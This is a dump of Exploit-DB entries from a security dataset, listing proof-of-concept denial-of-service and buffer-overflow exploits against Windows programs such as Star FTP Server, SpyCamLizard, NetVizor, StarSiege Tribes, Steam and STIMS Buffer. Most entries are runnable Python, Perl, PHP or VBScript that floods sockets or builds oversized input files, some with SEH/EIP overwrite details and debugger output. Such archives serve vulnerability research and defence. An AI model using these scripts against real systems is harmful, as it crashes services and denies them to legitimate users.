deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46822
Description: SpotPaltalk 1.1.5 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-10
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: SpotPaltalk 1.1.5 - 'Name/Key' Denial of Service (PoC)
# Date: 09/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: http://www.nsauditor.com
# Software Link http://www.nsauditor.com/downloads/spotpaltalk_setup.exe
# Version: 1.1.5
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "SpotPaltalk.py", it will create a new file "SpotPaltalk.txt"
# 2.- Copy the text from the generated SpotPaltalk.txt file to clipboard
# 3.- Open SpotPalTalk
# 4.  Select "Register" > "Enter Registration Code..."
# 5.- Paste clipboard in the Name/Key field 
# 6.- Click 'OK'
# 7.- Crashed

buffer = "\x41" * 1000
f = open ("SpotPaltalk.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #41667
Description: SpyCamLizard 1.230 - Denial of Service
Type: dos
Platform: windows
Date: 2017-03-22
Author: ScrR1pTK1dd13

Exploit:
import socket
import sys

author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: SpyCamLizard SC liz v1.230 Remote Buffer Overflow ZeroDay
# Date: 2017.03.22
# Exploit Author: Greg Priest
# Version: SpyCamLizard v1.230
# Tested on: Windows7 x64 HUN/ENG Enterprise
'''

print "SpyCamLizard DoS Exploit running!"
 
host = "192.168.56.1"
port = 80
overflow = "A" * 1189
nextSEH = "BBBB" 
SEH = "CCCC" 
overflow2= "D" * 3803

crash = overflow+nextSEH+SEH+overflow2

httpsocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
httpsocket.connect((host,port))
httpsocket.send("GET " + crash + " HTTP/1.0\r\n\r\n")
httpsocket.close()


print "SpyCamLizard shutted down!"
Exploit-DB #20828
Description: SpyNet 6.5 Chat Server - Multiple Connection Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2001-05-07
Author: nemesystm

Exploit:
source: https://www.securityfocus.com/bid/2701/info

Spynet Chat Server is a freely available client-server chat package by Spytech Software. Spynet Chat offers IRC style chat to users of the software package.

A problem in the package could allow remote users to crash the chat server. Upon receiving 100 connection requests from a host within a short period of time, and then receiving a message from same host via the chat client, the chat server exits abnormally. A manual restart is required to resume service.

This problem makes it possible for remote users to crash a Spynet Chat Server, denying service to legimate users. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20828.zip
Exploit-DB #20464
Description: Spytech NetVizor 6.1 - 'services.exe' Denial of Service
Type: dos
Platform: windows
Date: 2012-08-12
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: Spytech VetVizor
# Version: Build Release 6.1
# Vendor Site: hhttp://www.spytech-web.com/
# Software Download: http://www.spytech-web.com/download.shtml#netvizor


# Descriptions:
# NetVizor is the latest in network monitoring software. Monitor your entire network from 
# one centralized location! NetVizor allows you to track workstations and individual users
# that may use multiple PC's on a network. NetVizor records everything users do - from keystrokes 
# typed to email activity. NetVizor can show you what everyone is doing on your 
# network, in real-time, with a single mouse click via its visual network overview and 
# real-time activity ticker. 

# NetVizor Client DoS:
# Using the NetVizor "Viewer", the administrator can initiate a "RDP" like connection to a 
# client workstation with the NetVizor "Client" installed. The port used on the client
# host is 5591, which listens on all interfaces by default. This port is also used by the
# "Viewer" application to grab screenshots of monitored hosts.
# It's possible to have the service crash by sending an overly large string. And it some
# cases this will will overwrite EAX or ECX. Regardless if the registers are overwritten
# or not, the "Viewer" application will no longer be able to initiate a remote desktop
# connection nor will it be able to grab a screen capture.

# Wireshark capture:
# This snip is from a successful connection between the "Viewer" application and the client
# when initiating it's Remote Desktop session. Converting this to HEX and using it in our
# PoC actually triggers it, unfortunately with no proper listener nothing really happens.
#+From the Viewer
#launchremotedesktop
# .r...\Yv.r..+..r .
# x.......r...r........-.......|...h........r.....r....-.......|....s...r..$..r,s...s.....r,s.....r...
# ........h............s...SYvQ..
# ....h...w/.w...v..............2..........SYv...r...r..5.....-............s..Hk..h...

#+From client
# Remote desktop started: C:\PROGRA~1\nvclient\rds.exe

#+And the above as seen from Wireshark.
launchremotedesktop
.r...\Yv.r..+..r .
x.......r...r........-.......|...h........r.....r....-.......|....s...r..$..r,s...s.....r,s.....r...
........h............s...SYvQ..
....h...w/.w...v..............2..........SYv...r...r..5.....-............s..Hk..h...Remote desktop started: C:\PROGRA~1\nvclient\rds.exe

# PoC:
# In the following script, when EAX or ECX is overwritten it will be with the 'B's.
# As always, if someone wants to investigate further go right ahead. 
# Just be nice.

#!/usr/bin/python

import socket

buffer1= "[AAAA]"  * 500
buffer2= "BBBB"  * 6000

print "\nSending buffer 1"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('xxx.xxx.xxx.xxx',5591))
s.send(buffer1)
s.close()

raw_input()

print "\nSending buffer 2"
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect(('xxx.xxx.xxx.xxx',5591))
s2.send(buffer2)
s2.close()
Exploit-DB #47318
Description: SQL Server Password Changer 1.90 - Denial of Service
Type: dos
Platform: windows
Date: 2019-08-30
Author: Velayutham Selvaraj_ Praveen Thiyagarayam

Exploit:
#Exploit Title: SQL Server Password Changer v1.90 Denial of Service Exploit
# Date: 29.08.2019
# Vendor Homepage:https://www.top-password.com/
# Exploit Author: Velayutham Selvaraj & Praveen Thiyagarayam (TwinTech Solutions)
# Tested Version: v2.10
# Tested on: Windows 8 x64
# Windows 7 x64


# 1.- Run python code :Outlook Password Recovery.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open SQL Server Password Changer and Click 'EnterKey'
# 4.- Paste the content of EVIL.txt into the Field: 'User Name and Registration Code'
# 5.- Click 'OK' and you will see a crash.

#!/usr/bin/env python
buffer = "x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"
Exploit-DB #11342
Description: SQLite Browser 2.0b1 - Local Denial of Service
Type: dos
Platform: windows
Date: 2010-02-06
Author: Nishant Das Patnaik

Exploit:
# Exploit Title: SQLite Browser 2.0b1 Local DoS Vulnerability
# Author: Nishant Das Patnaik
# Tested on: Windows XP SP2/SP3 (x86), Vista (x86), Windows 7 (x64)
# Code : A specially crafted SQL file query can cause the the application to freeze and finally crash. The bug is the SQL query processor engine, it can't handle malformed SQL queries leading to crash.

# PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11342.tar.gz (sqlite_browser_db_poc.tar.gz)
Exploit-DB #46030
Description: SQLScan 1.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-12-21
Author: Rafael Pedrero

Exploit:
# Exploit Title: McAfee Foundstone SQLScan - Denial of Service (PoC) and EIP record overwrite
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: http://www.mcafee.com/us/downloads/free-tools/sqlscan.aspx
# Software Link : http://www.mcafee.com/us/downloads/free-tools/sqlscan.aspx
# Tested Version: 1.0.0.0
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run SQLScan
# 2.- copy content SQLScan_Crash.txt to clipboard (result from this python script)
# 3.- Paste the content into the field: 'Hostname/IP'
# 4.- Click '->' button and you will see a crash.


'''
EAX 00000001
ECX 0012F8CC
EDX 7C91E4F4 ntdll.KiFastSystemCallRet
EBX 00000000
ESP 0012FA80
EBP 42424242
ESI 00402FEB SQLScan.00402FEB
EDI 0012FAD0
EIP 43434343
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 1  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 1  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010296 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
'''

#!/usr/bin/env python

junk = "\x41" * 384
crash = junk + "BBBB" + "CCCC"
f = open ("SQLScan_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #15925
Description: StageTracker 2.5 - Denial of Service
Type: dos
Platform: windows
Date: 2011-01-07
Author: freak_out

Exploit:
# Exploit Title: StageTracker 2 Local POC
# Date: 04.01.2011
# Author: freak_out
# Version: 2.5
# Tested on: Windows XP SP3
# Type: DOS/POC
# Greetings: anco, mahjong, puddy, st!x, war10ck, fraggle, DarthShredder, ph3n0m, starslayer, db, lufthansen
# E-Mail: freak_out@phcn.de
# http://www.raiseaudio.com/stagetracker.html

#Create the PoC file:
# perl -e 'print "B"x90000' > poc.txt

# Starts StageTracker -> Click on SET LOAD -> Open the poc.txt -> Click on PLAY -> StageTracker crashed…
Exploit-DB #2942
Description: Star FTP Server 1.10 - 'RETR' Remote Denial of Service
Type: dos
Platform: windows
Date: 2006-12-17
Author: Necro

Exploit:
# Star FTP server 1.10
# Bug type: stack overflow
# Found by Necro <neco * ihack.pl> http://iHACK.pl

from socket import *
from sys import exit

print '\n[*] Star FTP server 1.10 Remote 0day DoS Exploit'
print '[*] Bug found by Necro <necro*ihack.pl> http://iHACK.pl'

host = '127.0.0.1'
port = 21

username = 'necro'
password = 'dupa'

evil = 'RETR' + '\x20' + '\x41' * 1024 + '\r\n'

s = socket(AF_INET, SOCK_STREAM)
try:
   s.connect((host, port))
except:
   print '\n[-] Connection Error'
   exit()

s.recv(1024)
s.send('USER' + '\x20' + username + '\r\n')
s.recv(1024)
s.send('PASS' + '\x20' + password + '\r\n')
s.recv(1024)
s.send('PORT 2000\r\n')
s.recv(1024)
s.send(evil)
s.recv(1024)
s.send(evil)
s.close()

print '[+] Done, shutdown.'

# milw0rm.com [2006-12-17]
Exploit-DB #25329
Description: Star Wars Jedi Knight: Jedi Academy 1.0.11 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-04-02
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12977/info

A buffer overflow is present in Jedi Academy that can be exploited remotely by client systems. The overflow is due to the use of the sprintf() function in a text visualization procedure, G_Printf(). The attacker can exploit this vulnerability to execute arbitrary code on the server. 

// Jedi Academy <= 1.011 in-game server buffer-overflow 0.1
// by Luigi Auriemma
// e-mail: aluigi@autistici.org
// web:    http://aluigi.altervista.org
// Ref:    http://aluigi.altervista.org/adv/jamsgbof-adv.txt

say aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Exploit-DB #22899
Description: StarSiege Tribes Server - Denial of Service (1)
Type: dos
Platform: windows
Date: 2003-06-10
Author: st0ic

Exploit:
source: https://www.securityfocus.com/bid/8184/info

StarSiege Tribes Game Server has been reported prone to a remotely triggered denial of service vulnerability.

The issue presents itself when the affected server receives and processes a malformed UDP datagram. Reportedly when the server handles a UDP datagram containing malformed data, an exception will be thrown and the StarSiege Tribes Game Server will crash. Service will be denied, to current connected users of the system.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22899.zip
Exploit-DB #22900
Description: StarSiege Tribes Server - Denial of Service (2)
Type: dos
Platform: windows
Date: 2003-07-14
Author: st0ic

Exploit:
source: https://www.securityfocus.com/bid/8184/info
 
StarSiege Tribes Game Server has been reported prone to a remotely triggered denial of service vulnerability.
 
The issue presents itself when the affected server receives and processes a malformed UDP datagram. Reportedly when the server handles a UDP datagram containing malformed data, an exception will be thrown and the StarSiege Tribes Game Server will crash. Service will be denied, to current connected users of the system.

<?php
/* 
Author: st0ic <st0ic@fsix.net>
Website: http://www.fsix.net/
Name: byebye_tribes.php
Original Date: 07/14/2003
Purpose: POC "StarSiege: Tribes" DoS

Usage: Call it from a browser once its uploaded on a server
with PHP installed:

http://host/byebye_tribes.php?host=127.0.0.1&port=28001

Note - global variables must be enabled in php.ini (yes... I 
know thats bad too)

Stuff:
Yeah... too lazy to fine tune it, maybe someone else can
throw in HTML forms to give it a little interface ;-).
*/

$fp = fsockopen("udp://$host", $port, $errno, $errstr, 30);
if (!$fp) 
{
	echo "$errstr ($errno)<br>\n";
	exit;
}
else
{
	$char = "a";
	for($a = 0; $a < 255; $a++)
		$data = $data.$char;

	if(fputs ($fp, $data) )
		echo "successful<br>";
	else
		echo "error<br>";
}
?>
Exploit-DB #27317
Description: StarUML - 'WinGraphviz.dll' ActiveX Buffer Overflow
Type: dos
Platform: windows
Date: 2013-08-03
Author: d3b4g

Exploit:
# Exploit Title: StarUML WinGraphviz.dll ActiveX buffer overflow vulnerability
# Date: 03.8.2013
# Exploit Author: d3b4g
# Vendor Homepage:http://staruml.sourceforge.net/en/
# Software Link: http://staruml.sourceforge.net/en/
# Tested on: Windows XP SP3
 
 

About StarUML
--------------

StarUML is an open source project to develop fast, flexible, extensible, featureful, and freely-available UML/MDA platform running on Win32 platform. 




 
Exception Code: ACCESS_VIOLATION
Disasm: D98439	MOV DL,[EBP]	(WinGraphviz.DLL)

Seh Chain:
--------------------------------------------------
1 	6B47D959 	VBSCRIPT.dll
2 	772FE115 	ntdll.dll


Called From                   Returns To                    
--------------------------------------------------


Registers:
--------------------------------------------------
EIP 00D98439 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EAX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EBX 0020D70A -> 00000038
ECX 00894119 -> Asc: http://test\test\test\te?s\test\test\tes\ttest\tes
EDX 000003FF
EDI 000003FE
ESI 00000000
EBP 00000000
ESP 0020D618 -> 00000059



The example code below triggers the vulnerability
-------------------------------------------------


<object classid='clsid:1F25D86C-95BC-4E33-A177-EE8DABEF8B04' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\StarUML\WinGraphviz.dll"
prototype  = "Function ToDot ( ByVal Source As String ) As String"
memberName = "ToDot"
progid     = "WINGRAPHVIZLib.NEATO"
argCount   = 1

arg1="http://test\test\test\te?s\test\test\tes\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\\\:#$%test\test\test\te?s\test\test\tes\\:#$%\ttest\test\te@st\tes\test\test\tes.\ttest\test\test\tes\test\test\te.s\ttest\test\test\tes\test\test\tes\t\\\\\\\"

target.ToDot arg1 

</script>
Exploit-DB #29803
Description: Static HTTP Server 1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2013-11-25
Author: GalaxyAndroid

Exploit:
# Exploit Title: Static Http Server 1.0 Denial Of Service Exploit
# Date: 24.11.2013
# Exploit Author: GalaxyAndroid
# Vendor Homepage: http://sourceforge.net/projects/static-httpd/files/static-httpd/
# Software Link: http://sourceforge.net/projects/static-httpd/files/static-httpd/
# Version: 1.0
# Tested on: WinNT, Win-XP, WIN-7 Prof
# Usage: exploitv3.pl" -url http://{IP-ADDRESS} 
 
 use LWP::UserAgent;
  $ua = LWP::UserAgent->new;
  $host = @ARGV[1];
  $attack = $host.'/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/';
  print "Attachking :".$host."\r\n";
  #$ENV{HTTP_proxy} = "http://127.0.0.1:8888"; #use proxy if necessary
  $ua->env_proxy; # initialize from environment variables
  my $req = HTTP::Request->new(GET => $attack);
  print $ua->request($req)->as_string;
  delete $ENV{HTTP_PROXY};
Exploit-DB #17291
Description: Steam Software - Denial of Service
Type: dos
Platform: windows
Date: 2011-05-16
Author: david.r.klein

Exploit:
# Exploit Title: Steam Cloud Denial of Service 0day
# Date: 06042011
# Author: david.r.klein \x0agmail\x0acom
# Software Link: http://steampowered.com
# Version: Steam - Latest
# Tested on: Windows XP/2003, Windows7
# CVE : NA
#
# Notes: Copy file to C:\Program Files\Steam\userdata\<acctnums>\remote\sharedconfig.vdf
# Run Steam.exe and let the program crash. Steam will Sync your config to your account before he crash occurs
# Log in on a seperate computer with the same account and watch steam die. 
#

test = "A" * 32776
test2= "BBBB" * 8
test2+="ZZZZ" * 8
test2+="\x90" * 32

f = open('serverbrowser_ui.vdf', 'w') 
f.write(test + test2)
f.close()


# (78c.bf0): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=02c915b0 ebx=000025d5 ecx=42424242 edx=01697b28 esi=02c915a8 edi=00eb0000
# eip=7c91240b esp=0012d188 ebp=0012d1a0 iopl=0         nv up ei ng nz na pe cy
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210287
# ntdll!RtlpInsertFreeBlock+0x10d:
# 7c91240b 8901            mov     dword ptr [ecx],eax  ds:0023:42424242=????????
#
# 0:000> d edx
# 01697b28  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
# 01697b38  5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
# 01697b48  5a 5a 5a 5a 5a 5a 5a 5a-5a 5a 5a 5a 5a 5a 5a 5a  ZZZZZZZZZZZZZZZZ
# 01697b58  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
# 01697b68  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
# 01697b78  00 fe ee fe ee fe ee fe-ee fe ee fe ee fe ee fe  ................
#
#
# None of the below have aslr \ dep \ safeseh 
# ModLoad: 3a000000 3a363000   C:\Program Files\Steam\SteamUI.dll
# ModLoad: 3f000000 3f0ad000   C:\Program Files\Steam\tier0_s.dll
# ModLoad: 3f600000 3f66e000   C:\Program Files\Steam\vstdlib_s.dll
# ModLoad: 10000000 100af000   C:\Program Files\Steam\crashhandler.dll
# ModLoad: 3fa00000 3fa32000   C:\Program Files\Steam\bin\FileSystem_Steam.dll
# ModLoad: 3f200000 3f2a2000   C:\Program Files\Steam\bin\vgui2.dll
# ModLoad: 04120000 04e06000   C:\Program Files\Steam\bin\libcef.dll
Exploit-DB #39471
Description: STIMS Buffer 1.1.20 - Buffer Overflow (PoC) (SEH Overwrite)
Type: dos
Platform: windows
Date: 2016-02-19
Author: Shantanu Khandelwal

Exploit:
# Exploit Title: STIMS BUFFER OVERFLOW SEH OVERWRITE
# Date: 19 Feb 2016
# Exploit Author: Ishita Sailor <ishitasailor@gmail.com>
# Vendor Homepage: http://www.stimslabs.com/
# Software Link: http://www.stimslabs.com/en/buffer/STIMSBufferEnSetup.exe
# Version: 1.1.20
# Tested on: Windows XP SP3
# CVE : UNKNOWN
# ==============HOW TO CRASH ==================
#make the buff file and open it it the STIMSBuffer application.
#Click on View Report
#===========================================
#Problems in exploitation
#Unable to find suitable SEH pointer
#


#!/usr/bin/env python
f=open("crash.buff","w")
payload="""<!--block:#solution-->
[solution]
name="""
payload +="\x41"*8460
payload +="\x42"*4 #SEH overwrite

payload +="""desc=asdasdasd
time=0
version=1
file=C:\Documents and Settings\IEUser\Desktop\z.buff
time.created=[PII_REDACTED]6300000
app=1.1.1
projects=1
time.last=[PII_REDACTED]4110000
<!--#solution:block-->
<!--block:Buffer 1-->
[properties]
buffer.id=0
buffer.name=Maleic acid / sodium hydrogen maleate
buffer.desc=Maleic acid / sodium hydrogen maleate with pKa 2
buffer.inp.pka=2.00000
buffer.inp.vol=1000.000000
buffer.inp.ph=2.000000
buffer.inp.conc=1.000000
buffer.inp.temp=24.000000
buffer.out.strength=0.592637
buffer.out.sln1.name=Maleic acid
buffer.out.sln1.conc=3.000000
buffer.out.sln1.vol=135.787622
buffer.out.sln2.name=Sodium hydrogen maleate
buffer.out.sln2.conc=3.000000
buffer.out.sln2.vol=197.545712
buffer.out.water=1000.000000
comment=
comment.active=0
notes=
notes.active=0
name=Buffer 1
active=1
<!--Buffer 1:block-->
"""
f.write(payload)
f.close()